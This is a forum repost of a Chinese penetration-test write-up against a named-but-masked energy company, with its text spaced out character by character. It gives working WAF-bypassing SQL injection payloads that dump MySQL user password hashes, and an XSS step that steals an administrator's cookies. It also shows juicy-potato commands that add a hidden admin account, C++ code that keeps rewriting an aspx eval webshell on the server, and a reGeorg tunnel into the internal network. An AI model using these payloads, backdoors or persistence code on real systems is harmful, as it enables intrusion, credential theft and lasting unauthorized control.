搜索

[15634] 2020-07-21_某企业授权渗透报告

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2020-07-21_某企业授权渗透报告 某 企 业 授 权 渗 透 报 告 艾 登 — — 皮 尔 斯   F r e e B u f   2 0 2 0 - 0 7 - 2 1 前 言 前 言 受 到 疫 情 关 系 的 持 续 影 响 ， 广 东 的 学 校 迟 迟 未 开 学 ， 而 我 已 经 在 家 待 了 快 5 个 月 了 。 某 企 业 授 权 我 去 测 试 下 他 们 公 司 的 整 体 网 络 安 全 性 ， 而 且 也 不 会 让 我 白 干 活 ， 好 处 是 少 不 了 的 。 因 为 在 家 没 有 什 么 收 入 ， 加 上 三 月 份 四 次 美 股 熔 断 ， 全 球 经 济 股 市 普 遍 暴 跌 ， 自 己 的 几 百 块 被 牢 牢 套 在 了 原 油 里 面 。 为 了 能 继 续 有 钱 加 仓 抄 底 原 油 赚 钱 翻 身 ， 走 向 人 生 巅 峰 ， 迎 娶 白 富 美 ， 我 索 性 答 应 了 下 来 。 要 求 ： 要 求 ： 不 能 影 响 业 务 正 常 运 行 不 能 盗 窃 用 户 数 据 目 标 ： 目 标 ： 域 控 服 务 器 内 网 相 关 核 心 设 备 渗 透 思 路 ： 渗 透 思 路 ： 信 息 收 集 > 漏 洞 检 测 > 漏 洞 利 用 > 权 限 提 升 > 内 外 渗 透 > 控 制 设 备 > 编 写 渗 透 报 告 信 息 收 集 信 息 收 集 目 标 公 司 是 隶 属 于 粤 港 澳 类 型 在 香 港 上 市 的 一 家 普 通 能 源 公 司 , 这 里 初 期 的 信 息 收 集 适 用 天 眼 查 / 小 蓝 本 企 业 查 , 我 这 里 使 用 的 是 小 蓝 本 企 业 查 ( 免 费 ) 。 输 入 目 标 公 司 的 名 称 检 索 相 关 的 关 键 词 之 后 出 现 到 这 个 家 公 司 和 多 家 旗 下 的 分 公 司 此 外 天 眼 查 / 小 蓝 本 企 业 查 询 还 可 以 查 询 该 公 司 的 网 站 ， 不 用 自 己 去 搜 索 引 擎 搜 索 公 司 的 域 名 。
这 里 我 筛 选 了 一 下 公 司 的 域 名 ， 我 只 记 录 有 与 目 标 公 司 品 牌 名 称 匹 配 的 网 站 域 名 ， 为 了 提 高 测 试 渗 透 测 试 准 确 率 。 h t t p s : / / w w w . l * d . c n / h t t p : / / w w w . c * r . c n / h t t p : / / w w w . c * * n . c n / A P P 手 机 客 户 端 资 产 信 息 提 取 ： 手 机 客 户 端 资 产 信 息 提 取 ： A P P 包 名 ： c o m . * . * * 从 a p k 提 取 相 关 域 名 链 接 / I P r o o t @ k a l i : ~ / w u d a w e i #   a p k t o o l   d   w u d a w e i . a p k   解 压 a p k 客 户 端 安 装 包 使 用 g r e p + 正 则 表 达 式 提 取 过 滤 出 A P K 中 的 I P 地 址 : g r e p   - E   “ ( [ 0 - 9 ] { 1 , 3 } [ . ] ) { 3 } [ 0 - 9 ] { 1 , 3 } ”   - r   w u d a w e i   — c o l o r = a u t o 使 用 g r e p + 正 则 表 达 式 提 取 过 滤 出 A P K 中 的 域 名 : g r e p   - E   “ h t t p s ? : / / [ a - z A - Z 0 - 9 . / _ & = @ $ % ? ~ # - ] * ”   - r   w u d a w e i   — c o l o r = a u t o
把 全 部 资 产 信 息 集 中 复 制 保 存 到 E x c e l 或 者 T X T 文 档 中 进 行 一 个 简 单 的 汇 总 管 理 。 漏 洞 检 测 漏 洞 检 测 批 量 漏 洞 检 测 工 具 我 主 要 使 用 ( X - R a y 、 A W V S 1 3 ) 。 A W V S 1 3 为 批 量 扫 描 模 式 ， 针 对 目 标 网 站 如 果 存 在 W A F 防 火 墙 使 用 批 量 主 动 爬 虫 扫 描 可 能 会 直 接 b a n 了 你 的 I P 地 址 。 我 通 常 使 X r a y 的 被 动 扫 描 ， 访 问 流 量 动 静 不 会 太 大 ， 不 会 打 草 惊 蛇 。 这 里 我 就 用 X r a y 的 被 动 扫 描   生 成 C A 证 书 配 置 扫 描 域 名 被 动 扫 描 被 动 扫 描 主 动 爬 虫 扫 描 主 动 爬 虫 扫 描 ( 容 易 被 容 易 被 B a n   I P 地 址 地 址 ) 批 量 扫 描 完 之 后 x - r a y 会 生 成 一 个 后 缀 名 为 . h t m l 格 式 扫 描 报 告 存 放 在 程 序 根 目 录 位 置 ， 扫 描 报 告 可 能 也 会 存 在 误 报 的 情 况 ， 需 要 手 工 进 行 核 对 。 漏 洞 利 用 漏 洞 利 用 我 在 扫 描 报 告 格 式 中 发 现 了 一 例 疑 似 S Q L 注 入 的 信 息 ， 接 下 来 就 尝 试 进 行 手 工 S Q L 注 入 。 h t t p s : / / w w w . l * * d . c n / a b o u t . p h p ? i d = 1 ， p h p 的 站 点 ， 测 试 注 入 h t t p s : / / w w w . l * * d . c n / a b o u t . p h p ? i d = 1   a n d     1 = 1   #   * * 狗 拦 截 . x r a y _ w i n d o w s _ a m d 6 4 . e x e   w e b s c a n   - - l i s t e n   1 2 7 . 0 . 0 . 1 : 7 7 7 7   - - h t m l - o u t p u t   w e b s c a n . h t m l . x r a y _ w i n d o w s _ a m d 6 4 . e x e   w e b s c a n   - - b a s i c - c r a w l e r   h t t p : / / w w w . * * * * * * * * . c o m /   - - h t m l - o u t p u t   w e b s c a n . h t m l
h t t p s : / / w w w . l * * d . c n / a b o u t . p h p ? i d = 1   ‘ a n d   - 1 = - 1   —     #   不 拦 截 使 用 内 联 注 释 猜 测 字 段 数 h t t p s : / / w w w . l * * d . c n / a b o u t . p h p ? i d = 1 % 2 7 o r d e r % 2 3 % 0 a b y % 2 0 1 % 2 0 — % 2 0 +                                       / / 正 常 h t t p s : / / w w w . l * * d . c n / a b o u t . p h p ? i d = 1 % 2 7 o r d e r % 2 3 % 0 a b y % 2 0 2 % 2 0 — % 2 0 +                                       / / 正 常 h t t p s : / / w w w . l * * d . c n / a b o u t . p h p ? i d = 1 % 2 7 o r d e r % 2 3 % 0 a b y % 2 0 3 % 2 0 — % 2 0 +                                       / / 正 常 h t t p s : / / w w w . l * * d . c n / a b o u t . p h p ? i d = 1 % 2 7 o r d e r % 2 3 % 0 a b y % 2 0 4 % 2 0 — % 2 0 +                                         / / 正 常 h t t p s : / / w w w . l * * d . c n / a b o u t . p h p ? i d = 1 % 2 7 o r d e r % 2 3 % 0 a b y % 2 0 5 % 2 0 — % 2 0 +                                           / / 正 常 h t t p s : / / w w w . l * * d . c n / a b o u t . p h p ? i d = 1 % 2 7 o r d e r % 2 3 % 0 a b y % 2 0 6 % 2 0 — % 2 0 +                                           / / 报 错 字 段 数 为 ” 5 ” 联 合 查 询 语 句 ， 暴 露 出 可 显 示 字 段 : h t t p s : / / w w w . l * * d . c n / a b o u t . p h p ? i d = - 1 % 2 7 % 2 0 / ! 1 4 4 4 0 u n i o n / / ! 1 4 4 4 0 s e l e c t % 2 0 / 1 , 2 , 3 , 4 , 5 — % 2 0 # 发 现 可 显 示 字 段 在 ” 3 ” / ! 1 4 4 4 0 u n i o n / / ! 1 4 4 4 0 s e l e c t % 2 0 / 可 以 绕 过 安 全 狗 ， 当 然 也 可 以 自 己 本 地 F u z z 枚 举 字 典 进 行 模 糊 测 试 ， 这 里 我 为 了 节 省 时 间 偷 懒 ， 我 这 里 直 接 使 用 M y s q l 的 聚 合 函 数 ( g r o u p _ c o n c a t ) 查 询 系 统 信 息 结 果 聚 合 到 一 个 位 置 ， 就 不 再 一 个 个 函 数 放 进 去 查 询 浪 费 时 间 了 。 这 里 祭 出 我 自 己 拼 接 好 的 一 个 过 狗 批 量 查 询 的 p a y l o a d ， 只 需 要 把 这 个 P y l o a d 粘 贴 在 可 显 示 字 段 就 行 了 。 B y p a s s   s a f e t y   d o g   P a y l o a d : g r o u p _ c o n c a t ( 0 x 3 C 6 8 3 4 3 E 4 2 7 9 7 0 6 1 7 3 7 3 2 0 7 3 6 5 6 3 7 5 7 2 6 9 7 4 7 9 2 0 6 4 6 F 6 7 2 0 7 3 7 1 6 C 5 F 6 9 6 E 6 A 6 5 6 3 7 4 3 C 6 8 3 4 3 E , 0 x 3 C 6 8 7 2 3 E , 0 x 4 D 7 9 5 3 5 1 4 C 2 0 5 0 6 F 7 2 7 4 3 A 2 0 2 0 2 0 2 0 , @ @ p o r t , 0 x 3 C 6 8 7 2 3 E , 0 x 4 D 7 9 5 3 5 1 4 C 2 0 7 6 6 5 7 2 7 3 6 9 6 F 6 E 3 A , ( ) / , 0 x 3 C 6 8 7 2 3 E , 0 x 5 5 7 3 6 5 7 2 2 0 4 9 6 E 6 6 6 F 3 A 2 0 2 0 2 0 2 0 , u s e r / ! ( ) / ) 函 数 函 数 作 用 作 用 @ @ p o r t 查 询 端 口 号 @ @ v e r s i o n 查 询 系 统 版 本 号 @ @ b a s e d i r 查 询 数 据 库 软 件 安 装 位 置 @ @ d a t a d i r 查 询 数 据 库 存 放 位 置 c u r r e n t _ u s e r 查 询 当 前 用 户 @ @ v e r s i o n _ c o m p i l e _ o s 查 询 操 作 系 统 @ @ h o s t n a m e 查 询 主 机 名
d a t a b a s e / ! ( ) / 查 询 当 前 数 据 库 u s e r / ! ( ) / 查 询 用 户 函 数 函 数 作 用 作 用 拼 接 查 询 语 句 后 的 链 接 : h t t p s : / / w w w . l * * d . c n / a b o u t . p h p ? i d = - 1 % 2 7 % 2 0 / ! 1 4 4 4 0 u n i o n / / ! 1 4 4 4 0 s e l e c t % 2 0 / 1 , 2 , g r o u p _ c o n c a t ( 0 x 3 C 6 8 3 4 3 E 4 2 7 9 7 0 6 1 7 3 7 3 2 0 7 3 6 5 6 3 7 5 7 2 6 9 7 4 7 9 2 0 6 4 6 F 6 7 2 0 7 3 7 1 6 C 5 F 6 9 6 E 6 A 6 5 6 3 7 4 3 C 6 8 3 4 3 E , 0 x 3 C 6 8 7 2 3 E , 0 x 4 D 7 9 5 3 5 1 4 C 2 0 5 0 6 F 7 2 7 4 3 A 2 0 2 0 2 0 2 0 , @ @ p o r t , 0 x 3 C 6 8 7 2 3 E , 0 x 4 D 7 9 5 3 5 1 4 C 2 0 7 6 6 5 7 2 7 3 6 9 6 F 6 E 3 A , @ @ v e r s i o n , 0 x 3 C 6 8 7 2 3 E , 0 x 4 D 7 9 5 3 5 1 4 C 5 F 6 9 6 E 7 3 7 4 6 1 6 C 6 C 5 F 7 0 6 1 7 4 6 8 3 A 2 0 2 0 , @ @ b a s e d i r , 0 x 3 C 6 8 7 2 3 E , 0 x 4 D 7 9 5 3 5 1 4 C 5 F 6 4 6 1 7 4 6 1 6 2 6 1 7 3 6 5 5 F 7 0 6 1 7 4 6 8 3 A 2 0 2 0 2 0 2 0 , @ @ d a t a d i r , 0 x 3 C 6 8 7 2 3 E , 0 x 4 3 7 5 7 2 7 2 6 5 6 E 7 4 2 0 6 4 6 1 7 4 6 1 6 2 6 1 7 3 6 5 2 0 7 5 7 3 6 5 7 2 3 A 2 0 2 0 2 0 2 0 , c u r r e n t _ u s e r , 0 x 3 C 6 8 7 2 3 E , 0 x 7 3 7 9 7 3 7 4 6 5 6 D 2 0 7 6 6 5 7 2 7 3 6 9 6 F 6 E 3 A 2 0 2 0 2 0 2 0 , @ @ v e r s i o n _ c o m p i l e _ o s , 0 x 3 C 6 8 7 2 3 E , 0 x 6 8 6 F 7 3 7 4 6 E 6 1 6 D 6 5 3 A 2 0 2 0 2 0 2 0 , @ @ h o s t n a m e , 0 x 3 C 6 8 7 2 3 E , 0 x 4 3 7 5 7 2 7 2 6 5 6 E 7 4 2 0 6 4 6 1 7 4 6 1 6 2 6 1 7 3 6 5 3 A 2 0 2 0 2 0 2 0 , d a t a b a s e / ( ) / , 0 x 3 C 6 8 7 2 3 E , 0 x 5 5 7 3 6 5 7 2 2 0 4 9 6 E 6 6 6 F 3 A 2 0 2 0 2 0 2 0 , u s e r / ! ( ) / ) , 4 , 5 — % 2 0 # 执 行 结 果 ： ( 成 功 绕 过 安 全 狗 查 询 出 信 息 ) 从 上 图 的 s q l 注 入 查 询 返 回 的 结 果 我 们 可 以 看 到 此 站 点 相 关 系 统 配 置 信 息 , 此 站 点 是 W i n d o w s   s e r v e r   6 4 位 服 务 器 部 署 ， M y S Q L 版 本 为 5 . 5 . 1 9 ， M y S Q L 数 据 用 户 限 制 仅 本 地 登 录 ， M y S Q L 端 口 号 为 3 3 0 6 ， 当 前 用 户 非 r o o t 用 户 。 接 下 来 我 们 进 行 尝 试 查 询 M y S Q L 数 据 库 的 用 户 账 户 名 和 密 码 哈 希 p a y l o a d ： g r o u p _ c o n c a t ( u s e r , 0 x 4 0 , h o s t , 0 x 3 A 3 A 3 A , p a s s w o r d , 0 x 3 C 6 2 7 2 3 E 3 C 6 8 7 2 3 E ) , 4 , 5   f r o m   m y s q l . u s e r   —   # ( M y S Q L 数 据 库 版 本 在 : 5 . x . x ) g r o u p _ c o n c a t ( u s e r , 0 x 4 0 , h o s t , 0 x 3 A 3 A 3 A , a u t h e n t i c a t i o n _ s t r i n g , 0 x 3 C 6 2 7 2 3 E 3 C 6 8 7 2 3 E ) , 4 , 5   f r o m   m y s q l . u s e r   —   # ( M y S Q L 数 据 库 版 本 在 : 8 . 0 . 1 9 上 ) 这 里 使 用 第 一 条 p a y l o a d ， 拼 接 好 p a y l o a d 后 如 下 ： h t t p s : / / w w w . l * * d . c n / a b o u t . p h p ? i d = - 1 % 2 7 % 2 0 / ! 1 4 4 4 0 u n i o n / / ! 1 4 4 4 0 s e l e c t % 2 0 / 1 , 2 , g r o u p _ c o n c a t ( u s e r , 0 x 4 0 , h o s t , 0 x 3 A 3 A 3 A , p a s s w o r d , 0 x 3 C 6 2 7 2 3 E 3 C 6 8 7 2 3 E ) , 4 , 5   f r o m   m y s q l . u s e r   —   # 执 行 结 果 ： ( 成 功 绕 过 安 全 狗 查 出 M y s q l 账 号 & 密 码 哈 希 ) 拿 密 码 哈 希 之 后 进 行 解 密 ， 拿 到 目 标 明 文 的 M y S Q L 数 据 库 登 录 密 码 。 经 过 多 次 查 表 尝 试 我 也 没 有 查 出 网 站 后 台 管 理 员 的 账 号 和 密 码 ( 我 太 菜 了 ) ， 也 无 法 远 程 登 录 目 标 数 据 库 。 另 外 两 个 的 网 站 都 是 纯 静 态 网 站 ， 没 有 下 手 思 路 ， 只 能 把 目 光 放 到 的 A P P 里 的 域 名 中 。 由 于 X - r a y 与 A W V S 联 动 扫 描 目 标 A P P 资 产 会 因 为 请 求 速 度 过 快 被 会 导 致 被 目 标 环 境 设 置 防 火 墙 给 直 接 拦 截 。 没 有 钱 买 代 理 ， 只 能 采 取 被 动 扫 描 手 机 需 要 需 要 在 W L A N 中 设 置 代 理 ， 把 流 量 转 发 给 X - r a y 。 然 后 手 机 正 常 用 户 点 击 访 问 目 标 A P P ， X r a y 就 会 自 动 扫 描 。 X r a y - 扫 描 完 毕 之 后 查 看 扫 描 汇 总 报 告 ， 在 报 告 中 发 现 一 处 目 标 系 统 ” 用 户 反 馈 处 ” 存 在 疑 似 X S S 跨 站 脚 本 漏 洞 ， 插 入 弹 窗 代 码 看 看 是 否 存 在 x s s 漏 洞
p a y l o a d : 插 入 恶 意 窃 取 c o o k i s 脚 本 接 下 里 就 是 耐 心 耐 心 等 待 管 理 员 上 线 查 看 用 户 反 馈 了 ， 我 守 株 待 兔 等 了 两 天 时 间 ， x s s 平 台 成 功 接 受 到 了 目 标 管 理 员 的 c o o k i e s 信 息 。
后 台 文 件 上 传 修 改 文 件 后 缀 名 后 台 文 件 上 传 修 改 文 件 后 缀 名 G e t S h e l l 成 功 成 功 权 限 提 升 ： 权 限 提 升 ： 收 集 目 标 主 机 信 息 收 集 目 标 主 机 信 息 s y s t e m i n f o i p c o n f i g   / a l l
查 看 I P 地 址 和 网 卡 接 口 信 息 n e t s t a t   - a n 查 看 网 络 连 接 信 息 w h o a m i   / a l l
查 看 当 前 账 户 可 用 权 限 当 前 用 户 为 i i s 权 限 小 ， 参 考 三 好 学 生 博 客 中 一 篇 文 章 ： i i s 或 者 s q l s e r v e r 的 用 户 通 常 具 有 S e I m p e r s o n a t e P r i v i l e g e 和 S e A s s i g n P r i m a r y P r i v i l e g e 权 限 ( 文 章 传 送 门 ) ， 可 以 尝 试 使 用 多 汁 马 铃 薯 ” j u i c y - p o t a t o ” (   传 送 门 ) 工 具 来 进 行 提 升 账 户 权 限 w . e x e   - p   “ w h o a m i ” w . e x e   - p   “ n e t   u s e r   h o n g   h o n g h o n g + + +   / a d d ” 创 建 权 限 维 持 后 门 账 号 w . e x e   - p   “ n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   h o n g   / a d d ” 提 升 账 户 权 限 为 超 级 管 理 员 组 W e b s h e l l 权 限 持 久 化 权 限 持 久 化 定 时 向 W e b 某 目 录 写 入 a s p x 一 句 话 ， 这 里 就 直 接 贴 代 码 C : i n e t p u b w w w r o o t w e b s h e l l . a s p x 在 W i n d o w s   S e r v e r   的 I I S 服 务 器 根 目 录 下 写 入 密 码 为 a 的 一 句 话 木 马 ， 路 径 可 以 根 据 实 际 情 况 做 出 对 应 合 适 的 修 改 ； S l e e p ( 9 0 0 ) ; 为 9 0 0 秒 执 行 一 次 写 入 w e b s h e l l 操 作 。 / /   w u d a w e i . c p p   :   此 文 件 包 含   " m a i n "   函 数 。 程 序 执 行 将 在 此 处 开 始 并 结 束 。 # i n c l u d e < W i n d o w s . h > # i n c l u d e < s t r i n g . h > # i n c l u d e < s t d i o . h > # i n c l u d e < t i m e . h > # i n c l u d e   " p c h . h " # i n c l u d e   < i o . h > # i n c l u d e   < i o s t r e a m > # p r a g m a   w a r n i n g ( s u p p r e s s   :   4 9 9 6 ) i n t   m a i n ( )   {         w h i l e   ( 1 )   {                 S l e e p ( 9 0 0 ) ; / / 延 迟 9 0 0 秒 / 1 5 分 钟                 S h e l l E x e c u t e ( N U L L ,   " o p e n " ,   " c m d " ,   " / c   e c h o   ^ < ^ % @   P a g e   L a n g u a g e = " J s c r i p t " % ^ > ^ < ^ % e v a l ( R e q u e s t . I t e m [ " a " ] , " u n s a f e " ) ; % ^ > ^   >   C : i n e t p u b w w w r o o t w e b s h e l l . a s p x "         } }
还 有 另 外 一 种 方 式 就 是 控 制 住 W e b 主 机 之 后 ， 在 网 站 后 台 管 理 系 统 主 页 界 面 中 插 入 一 段 窃 取 c o o k i s 的 J a v a S c r i p t 恶 意 代 码 。 这 种 方 式 根 据 实 际 情 况 可 以 做 出 对 于 调 整 。 内 网 资 产 测 试 ： 内 网 资 产 测 试 ： 内 网 渗 透 — r e G e o r g + P r o x i f i e r 目 标 W i n d o w s   S e r v e r   W E B 主 机 不 出 外 网 ： 这 里 我 们 使 用 r e G e o r g 工 具 对 流 量 进 行 转 发 ， 上 传 流 量 转 发 转 发 a s p x 脚 本 到 目 标 环 境 中 ， 然 后 访 问 该 文 件 路 径 。 p y t h o n   r e G e o r g S o c k s P r o x y . p y   - u   h t t p : / / * * * * * * * * * * * * * * * * * * * * * * / 2 . a s p x   - l   0 . 0 . 0 . 0   - p   5 9 6 4
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理